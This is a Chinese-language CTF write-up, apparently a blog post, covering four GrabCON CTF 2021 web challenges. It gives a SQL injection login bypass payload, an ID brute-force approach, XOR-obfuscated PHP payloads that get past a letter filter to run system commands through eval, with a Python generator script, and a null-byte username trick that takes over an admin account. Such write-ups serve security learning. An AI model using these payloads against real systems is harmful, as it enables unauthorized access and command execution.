GrabCON CTF 2021 Web

E4sy Pe4sy

题目描述

  • Hack admin user!

解题思路

  • 找到登录处尝试利用万能密码进行登录,发现密码处存在万能密码登录 admin:admin' or 1=1#
  • 登录后即可拿到 FLAG

在这里插入图片描述

Door Lock

题目描述

  • The door is open to all! See who is behind the admin door??

解题思路

  • 注册账号后登录后台,注意到 http://34.135.171.18/profile/index.php?id=1460 后面跟着的 id,联想到题目描述,尝试爆破 id 的数值,在 id 数值为 1766 的页面中成功找到 FLAG

在这里插入图片描述

Basic Calc

题目描述

  • Ever used calc based on php?

解题思路

  • 题目给出部分源码
<h2>Welcome to da Basic Calc</h2>
<form action="/" method="POST">
    Enter da equation : <br>
    <input type="text" name="eq"><br>
</form>

<?php

if (isset($_POST["eq"])){
    
    $eq = $_POST["eq"];

    if(preg_match("/[A-Za-z`]+/",$eq)){
        die("BAD.");
    }
    echo "Result: ";
    eval("echo " . $eq . " ;");
}else{
  echo highlight_file('index.php',true);  
}

?>
  • 由于过滤掉了大小写字母无法直接执行命令,这里采用异或方式利用未被过滤的字符来获取字母从而绕过正则过滤
  • 先查看一下根目录下的文件
("system")("ls /")=(('3'^'@').('9'^'@').('3'^'@').('4'^'@').('8'^']').('2'^'_'))(('1'^']').('3'^'@').('^'^'~').'/')
  • 获取 FLAG
("system")("cat /flagggg.txt")=(('3'^'@').('9'^'@').('3'^'@').('4'^'@').('8'^']').('2'^'_'))(('8'^'[').('!'^'@').('4'^'@').('^'^'~').'/'.('8'^'^').('1'^']').('!'^'@').('8'^'_').('8'^'_').('8'^'_').('8'^'_').'.'.('4'^'@').('8'^'@').('4'^'@'))

在这里插入图片描述

  • 贴一下异或脚本
# string_code = ['system','ls /']
string_code = ['system','cat /flagggg.txt']
obfuscated_code = ""
charset = "1234567890!#$%&'()*+/^,-.:;<=>?@[]_{|}~"

for code in string_code:
    obfuscated = ""
    for i in code:
        is_found_obfuscated = False
        for j in charset:
            for k in charset:
                if ord(j)^ord(k) == ord(i):
                    is_found_obfuscated = True
                    obfuscated += ".('%s'^'%s')" % (j, k)
                    #print("XOR ="+chr(ord(j)^ord(k)))
                if is_found_obfuscated:
                    break
            if is_found_obfuscated:
                break
        if not is_found_obfuscated:
            obfuscated += ".'%s'" % i
    #print("(%s) = (%s)" % (code, obfuscated[1:]))
    obfuscated_code += "(%s)" % obfuscated[1:]
print(''.join(["(\"%s\")" % i for i in string_code]) + '=' + obfuscated_code)

Null Food Factory

题目描述

  • Prove your hacking skill to get admin panel.

解题思路

  • 依旧还是之前的SQL注入题目,尝试一些方法都没有效果后,注意到 NUll 字眼,搜索相关的SQL注入利用方式发现一种叫做 空字符 注入的方法,参考漏洞说明
  • 注册一个用户名为 admin%00 的用户,发现 admin 的密码更新成 ic8aGsk^bh

在这里插入图片描述

  • 用得到的密码进行登录 admin:ic8aGsk^bh,成功拿到 FLAG

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值